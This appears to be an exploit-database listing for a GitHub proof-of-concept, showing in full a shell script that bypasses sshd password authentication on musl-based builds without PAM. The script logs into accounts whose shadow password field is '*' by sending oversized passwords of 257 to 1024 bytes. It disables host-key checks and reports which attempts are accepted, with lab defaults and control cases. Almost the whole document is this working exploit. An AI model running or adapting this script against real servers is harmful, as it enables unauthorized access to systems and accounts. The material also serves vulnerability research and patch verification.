Exploit database

GH-e350e84e41758d17b10ba28295882a71

akarkode/alpine-openssh-sshole-auth-bypass

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-123158

29 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
akarkode/alpine-openssh-sshole-auth-bypassRevision 9ac090af451c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/exploit.sh

Suggested starting fileShell · 2,263 bytes
#!/bin/sh
# Proof-of-concept client for the musl + no-PAM sshd password bypass
# ("sshole"). Any password of 257..1024 bytes authenticates as an account
# whose /etc/shadow password field is exactly "*".
#
# Note on this build: the *first* password prompt fails (pick_salt() reuses
# musl's static getspnam() buffer and clobbers the stored "*"), the *second*
# prompt succeeds because pick_salt() then returns its cached salt. Both
# happen inside one SSH connection, so we allow 3 prompts.

HOST="${HOST:-sshole-server}"
PORT="${PORT:-22}"
VICTIM="${VICTIM:-victim}"
DONOR="${DONOR:-donor}"
DONOR_PASS="${DONOR_PASS:-donorpass}"

ASKPASS=$(mktemp)
trap 'rm -f "$ASKPASS"' EXIT
cat > "$ASKPASS" <<'EOF'
#!/bin/sh
printf '%s\n' "$LAB_PW"
EOF
chmod +x "$ASKPASS"

SSH_OPTS="-o StrictHostKeyChecking=no
-o UserKnownHostsFile=/dev/null
-o GlobalKnownHostsFile=/dev/null
-o PreferredAuthentications=password
-o PubkeyAuthentication=no
-o KbdInteractiveAuthentication=no
-o NumberOfPasswordPrompts=3
-o ConnectTimeout=10
-o LogLevel=ERROR"

genpw() { head -c "$1" /dev/zero | tr '\0' 'A'; }

try_login() {
    label="$1"; user="$2"; pass="$3"
    printf '>>> %-42s ' "$label"
    # shellcheck disable=SC2086
    out=$(LAB_PW="$pass" SSH_ASKPASS="$ASKPASS" SSH_ASKPASS_REQUIRE=force \
          DISPLAY=:0 ssh $SSH_OPTS -p "$PORT" "$user@$HOST" \
              'printf "uid=%s user=%s\n" "$(id -u)" "$(id -un)"' 2>/dev/null)
    rc=$?
    if [ "$rc" -eq 0 ]; then
        echo "ACCEPTED  <-- $out"
    else
        echo "rejected  (ssh rc=$rc)"
    fi
}

echo "=============================================================="
echo " target: $VICTIM@$HOST:$PORT"
echo "=============================================================="
echo

echo "--- boundary: '*' account, different password lengths ---"
try_login "256 bytes (musl still hashes)" "$VICTIM" "$(genpw 256)"
try_login "257 bytes (crypt() returns '*')" "$VICTIM" "$(genpw 257)"
try_login "300 bytes" "$VICTIM" "$(genpw 300)"
try_login "1024 bytes" "$VICTIM" "$(genpw 1024)"
echo
echo "--- controls ---"
try_login "victim + short wrong password" "$VICTIM" "wrongpassword"
try_login "donor + correct real password" "$DONOR" "$DONOR_PASS"
echo
echo "Legend: 'ACCEPTED' on victim/* with 257..1024 bytes = bypass."